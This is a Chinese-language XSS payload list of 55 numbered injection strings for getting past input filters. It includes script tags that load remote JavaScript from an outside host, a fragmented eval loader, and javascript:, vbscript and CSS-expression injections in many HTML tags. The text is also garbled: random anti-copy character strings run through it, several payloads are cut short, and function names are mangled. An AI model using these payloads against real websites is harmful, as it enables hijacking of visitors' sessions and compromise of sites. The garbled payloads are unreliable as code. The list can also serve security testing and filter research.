(1)普通的XSS JavaScript注入/ H$ E3 `9 W$ z. \, U7 t. j# w
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>/ z7 X, a3 j8 ?# J
(99)另类弹框, `- f# `) U. x/ m* @' D
<q/oncut=alert()>11 D& @' F: r& E, V. S
<s/onclick=alert()>b
+ |9 O/ b0 U" ` u2 B1 h8 `% O <XSS=" onclick="alert(1)//">clickme</SSX=">3 s6 X0 C6 v p6 m
<zzz onclick=alert`1`>clickme</zzz> & R% x: p) w* e# u6 y$ J
<a onclick=alert`1`>clickme</a>
+ U; f) T, |% I0 z<a=">clickme</a=">
- l) W7 i( u! b4 p<a=">clickme</a>* R1 h" K. F( e* j, F$ w0 w
<z=">clickme</z=">$ v$ m( g, c' C$ B2 Y6 r9 w
<z onclick=alert`1`>clickme</z>! e9 c# k( \1 b
7 r3 @' |- D3 F `# R' H
(2)IMG标签XSS使用JavaScript命令5 G" f; t" ^* C( b. S
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>3 _6 b- O& O8 S! k$ U
B/ \% b& D( C/ ?# ], e l* x(3)IMG标签无分号无引号
! H% K( ?6 x9 V$ G* r<IMG SRC=javascript:alert(‘XSS’)>
- K# ?1 A' g# I9 w& L6 V6 I9 ?
) B8 j* _3 p( l' B- A& Z% U, e6 c- B(4)IMG标签大小写不敏感) P# n0 o D6 |* |$ Z k+ T
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>$ V4 D- h) ~" Z4 {: x/ r$ v
) C$ W6 R+ s* E9 S( h, t s
(5)HTML编码(必须有分号)
4 |9 d7 _; y& g* }<IMG SRC=javascript:alert(“XSS”)>4 _& \* q+ G# F6 k" b
5 Q; ^: m& A1 _1 J, A(6)修正缺陷IMG标签* R( b- s3 I) a+ |, R+ T' y. k
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>8 ]- e8 m" p9 A* Y6 f9 c) H
( I6 l$ r9 n7 p' G- v2 s
(7)formCharCode标签(计算器) J7 R- R; _/ b2 J* D
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
& B6 h- L- Z# j. H+ }( } {1 N/ k
(8)UTF-8的Unicode编码(计算器)0 f: t9 E9 d$ j. |! f' I5 u" C
<IMG SRC=jav..省略..S')># Q( G( V$ i1 d9 o' U# l' A
5 D$ W+ b9 H# M8 N9 r& Y
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
P; h% R, B: T1 @9 ^- o<IMG SRC=jav..省略..S')>
/ X4 x8 _ w3 U5 R, n& j; ]! ^* R- U0 n* g+ K% w$ d
(10)十六进制编码也是没有分号(计算器)
! A* L5 r. N$ J; t. G<IMG SRC=\'#\'" /span>
) K$ M5 A5 N$ h3 n( ~& b$ |7 `; |8 q
(11)嵌入式标签,将Javascript分开
, N& n# `* e5 j, z<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
% `$ r" P, z' {8 G6 {- d t& y/ O4 n5 o( @. t1 n6 [. P
(12)嵌入式编码标签,将Javascript分开
" v& O* J9 x) u3 t6 ]4 d6 L4 d% M6 S<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>& G, [* h9 B( w* \' b- v
/ C8 s% r G7 N& F5 J$ N2 ?
(13)嵌入式换行符
2 i9 x, P' S5 ~* X- Z& P2 O S0 s8 ]<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>$ d7 j3 F3 B( ?6 {( T( N9 X
; H Q m' _6 e5 P- c6 F% r3 `2 c
(14)嵌入式回车
$ Q1 r8 z- h+ M<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>% x( }7 ]! E+ w* B5 {4 t
% h0 p- @1 [9 g# a r
(15)嵌入式多行注入JavaScript,这是XSS极端的例子: R$ {( P5 W2 z8 ?
<IMG SRC=\'#\'" /span>
3 f7 q5 Q; i! S) c# B6 L0 r- I+ k, M
4 ^6 |7 M8 N& u7 {2 H1 R `(16)解决限制字符(要求同页面)
0 a7 g- k9 l9 y# ~- ]<script>z=’document.’</script>
4 `+ F! x% m3 v8 i<script>z=z+’write(“‘</script>* p3 O/ W: V3 Q% |, _% c8 x
<script>z=z+’<script’</script>
7 a0 [ a7 f0 U: A( S; E/ `<script>z=z+’ src=ht’</script>6 Y6 W6 E% e3 @' B% C! U! Z
<script>z=z+’tp://ww’</script>
1 c$ q. a% q! t9 z<script>z=z+’w.shell’</script> D2 f6 X( v4 Z, |
<script>z=z+’.net/1.’</script>8 K) k$ U6 z7 b& G3 j
<script>z=z+’js></sc’</script>
- \; T. ~2 j9 v. P! |: Y<script>z=z+’ript>”)’</script>0 c8 Q8 j3 o' _; @* ?$ n) ?* O
<script>eval_r(z)</script># c4 m) j0 m: y0 T8 U/ ?
i" Q. G* ~4 _. m y }9 E8 c7 \(17)空字符9 D! G. ^1 L7 u' X" ^
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
9 N: u- O# p$ W1 T' X8 }4 k8 F/ K
3 D: G B5 N1 q5 H(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用" @- I2 Y9 @8 M9 p5 N
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out0 |) T: F( a0 D
y9 F/ F! V# q+ c6 v) w V- e6 v
(19)Spaces和meta前的IMG标签
. h9 O5 P! h- ]4 \/ X! A6 `, Q2 i<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>% J: @3 h" ^5 h5 K5 m8 K
6 M' g& X- X3 [7 ?" A' Y: j. K7 G(20)Non-alpha-non-digit XSS
5 S9 u- P2 ?% E& }* V7 I6 W<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
8 t6 p/ m: L* R( W
+ E* `- Y/ u k5 Z: j: Q(21)Non-alpha-non-digit XSS to 2 D$ Y. L2 p/ S4 v, e+ z
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
$ H0 x) ~( i9 i: b% _0 q# K' \, e+ {. q$ ?! j
(22)Non-alpha-non-digit XSS to 3& l- _2 m/ _% s
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>* ]* j( X( l" X# n
- |2 w+ K% N; g, m- X6 v: J5 g(23)双开括号
/ @. }* o; y8 O, S4 n6 r; n$ Q2 g<<SCRIPT>alert(“XSS”);//<</SCRIPT>
: w# \$ V( Q* Z8 N. l
& S ]6 Z* ?, `8 u(24)无结束脚本标记(仅火狐等浏览器)4 I; ]9 P% D/ ?1 u
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
/ `( L" q0 L3 _7 E# H l3 w O1 d+ A1 _. S I
(25)无结束脚本标记2* o0 o* c! ?4 T/ `' u+ ]
<SCRIPT SRC=//3w.org/XSS/xss.js>
' l7 y% T- Y) [
5 P5 e, K- n- _. h(26)半开的HTML/JavaScript XSS
0 t6 v1 v+ y& e- y+ t% ]<IMG SRC=\'#\'" /span>+ ?8 Z! o3 @0 f9 ?3 o+ u
; f) D$ I2 X) [0 w2 ?) H
(27)双开角括号 {5 }3 R% R* e) W2 b# X6 Y7 i; r. D- Z
<iframe src=http://3w.org/XSS.html <# Q' \$ R+ c: |. [! B+ B
" H; |2 @: o& u# W(28)无单引号 双引号 分号
& M/ p# {$ L# N) t<SCRIPT>a=/XSS/
; s3 ^+ i% o0 |# yalert(a.source)</SCRIPT>
* L% U0 N# Y) m4 @* C6 @5 j
* \7 U3 o9 `' c! M(29)换码过滤的JavaScript
* F. B5 t( [2 \& ]* {\”;alert(‘XSS’);//
0 J# o1 S2 J# r. u
& j( F# [3 x f3 [(30)结束Title标签& d' P* Y& A- A8 R: x
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>! M! _7 i: R& W! L T5 i( D5 O
2 X+ g7 ]; ?- _+ H* f: ~- }9 ]3 ~
(31)Input Image- `+ C6 {% L4 e) ~8 B
<INPUT SRC=\'#\'" /span>
9 N) N2 x, p& ^4 ^. v0 I
, U" l0 P2 Y- f: n( f, s! O3 m* i(32)BODY Image& k$ r; \- D7 N
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>4 a, ?7 A4 c' `. P/ x
) { g x% x) V! a% ?( M S, H
(33)BODY标签6 T) U# C& `9 `" Z
<BODY(‘XSS’)>
) O- C% J5 ?# g. {9 b
" g0 q2 \4 m1 m; W4 |7 X(34)IMG Dynsrc7 ? i e$ H( k0 n
<IMG DYNSRC=\'#\'" /span>% C2 I. \$ W3 [# L* N- S$ @
! s( i4 Q/ m Y" {( ?$ Q! z(35)IMG Lowsrc8 z8 I j3 m; o4 |1 N: N. z
<IMG LOWSRC=\'#\'" /span>% [0 U5 u2 s/ i, a5 V( ~
# G, [* i0 F6 H5 R9 O0 ]* `(36)BGSOUND
5 [8 u0 |' Z5 I; E# j, l( w7 R<BGSOUND SRC=\'#\'" /span>+ f0 W2 r9 l, ^$ u$ x
" o6 @) H( w' M- `
(37)STYLE sheet
* [, A" O& X1 m<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
M$ h& _. G2 N. A: X- n9 i d1 n' T$ c
(38)远程样式表2 k5 W, }- y$ \2 m6 \( ]
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>5 d. N( m$ X8 y' l9 J
1 ?0 ^% X, J# S, e1 I/ f(39)List-style-image(列表式)$ j7 w/ J/ q$ K6 D: V/ B
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS: N" X* L3 z0 o Y* X
! J, X3 L2 w+ @+ {( ^. z* X(40)IMG VBscript
* ~. `- u9 k1 S! p$ ]: L<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
' U" h4 K* T/ H) D$ f5 V- O+ J! D6 f. C0 w1 ~* A/ ~- R/ O
(41)META链接url
, n) [4 ^0 J- I% \: d- `<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>7 M1 P- D' t L
9 N/ r' w) p y# H
(42)Iframe( y8 z* Y( i# q
<IFRAME SRC=\'#\'" /IFRAME>
# F+ ]9 b, C5 i* o) p$ O
: }, ~ @8 @" ?. R# y. y(43)Frame
8 P" J8 z9 `. `+ V% a. Y4 h I8 J. }<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
% x6 t% e0 V+ s- H; Q1 |- m0 z, a9 Z3 y. a6 Y; x) s- n
(44)Table+ f- B5 i7 g) M. x& Q5 n
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
+ a2 t2 x8 X0 e6 e
% C$ q9 t* e8 ]6 [5 Y(45)TD$ t& X/ T Q* K1 T$ \9 e" D0 h) Q& Y
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
1 q7 Q8 F4 Q/ k8 g
/ l" Q6 [% e& `$ R9 }! B1 @9 p(46)DIV background-image8 m: N1 Q8 |- v) D1 [* y
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>: r$ h7 {/ _% p3 v: W/ g
$ X% Q- O! x) a) e2 _' d(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)/ n' J C! [/ K
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>8 d* K% b, q1 {) ?8 j% z2 J6 U
; ~' H! \9 ? }2 S( }5 X: W
(48)DIV expression
" R* M/ G* v Y8 t! f2 ~) }<DIV STYLE=”width: expression_r(alert(‘XSS’));”>; q d& t* Y( ^
3 q& d1 P3 p2 n1 ~(49)STYLE属性分拆表达
7 L/ x2 Z R5 a$ B7 N5 k: [- d5 m<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>0 D/ }1 w! S# Q) w6 z8 ~6 N
" F, I" ^$ |% E5 k$ U' m4 U/ f
(50)匿名STYLE(组成:开角号和一个字母开头)
$ z% _7 I8 [! j% N7 @. A7 o<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
0 }1 X5 v+ X* Z# U. g) J
4 k8 F) a0 K0 a7 O9 g(51)STYLE background-image, c6 ?$ F: U$ u5 E
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
* {+ S d) ^# g6 _6 ~5 t
# Z& m1 C* Z0 c( J4 E& K(52)IMG STYLE方式
$ H8 O4 p. x a2 Jexppression(alert(“XSS”))’>4 o- z$ h" T5 P9 u3 y; u( l7 e
H9 M4 E0 j4 n
(53)STYLE background5 E* F, e2 O; q) N7 D, B
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
4 } }1 q5 o! I+ [6 Z9 }% c7 B6 S
8 Q8 q8 s3 d8 ]: b(54)BASE5 r: V! H) j2 N8 j _- D2 r( `
<BASE HREF=”javascript:alert(‘XSS’);//”>
. S; Y+ L9 d% F
1 c$ V( A1 D* `5 R(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS+ x6 F8 a& F) P! L- m/ s
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
) T/ p. Z; @* t- G5 ]% b |